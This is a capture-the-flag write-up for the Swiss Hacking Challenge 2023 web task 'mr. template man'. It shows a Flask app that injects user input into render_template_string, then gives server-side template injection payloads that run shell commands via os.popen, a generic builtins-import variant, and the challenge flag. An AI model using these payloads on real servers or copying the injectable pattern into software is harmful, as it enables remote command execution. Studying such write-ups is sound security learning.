Swiss Hacking Challenge 2023 - mr. template man
Information
Challenge category: web
Challenge Description
Once upon a time, there was a man named mr. template man. He was an ordinary man with an extraordinary ability to create templates for every aspect of his life. From his morning routine to his work schedule, he had a template for everything. He believed that templates saved him time and helped him stay organized. One day, mr. template man realized that he had become too reliant on his templates. He started to feel like he was living his life on autopilot, without any spontaneity or creativity. He realized that his templates were holding him back from experiencing new things and taking risks.
Files
We are given a mr_template_man.zip
file which contains the source code for the application
Source code
The (very small) source code looks as follows
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
content = request.args.get("content") or ""
ctx = {
"os": os
}
try:
return render_template_string("""<!DOCTYPE html>
<html>
<head>
<title>Mr. Template Man</title>
</head>
<body>
<h3>What do you have to say?</h3>
<p>""" + content + """</p>
<form action="/" method="GET">
<input type="text" name="content" value="" />
<input type="submit" />
</form>
<span>Server running as pid {{ os.getpid() }}</span>
</body>
</html>
""", **ctx)
except Exception as e:
return render_template_string("""<!DOCTYPE html>
<html>
<head>
<title>Mr. Template Man</title>
</head>
<body>
<h3>Oh no, something went wrong</h3>
<p>Here are the details:</p>
<span>{{ ex }}</span>
</body>
</html>
""", ex=str(e))
app.run(host="0.0.0.0", port=5000)
Exploitation
We’re rendering the template content directly, without any sanitisation of the user input.
As we’re passing os
to the execution context of the templating function, we can simply execute commands and get their return value using os.popen()
, example:
{{ os.popen("ls").read() }}
Output:
app.py flag.txt
Flag
We can simply run the following to get the flag:
{{ os.popen("cat flag.txt").read() }}
The flag is: shc2023{3xpl01t_t3mpl4t35_w1th_0s_3dd8ca1f3}
Conclusion
This was one of the very first challenges I solved. I even made life harder for myself by not looking at the source code and seeing the os
thing as I was familiar with template injection. I used things like {{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}
which also worked but was a lot more complicated.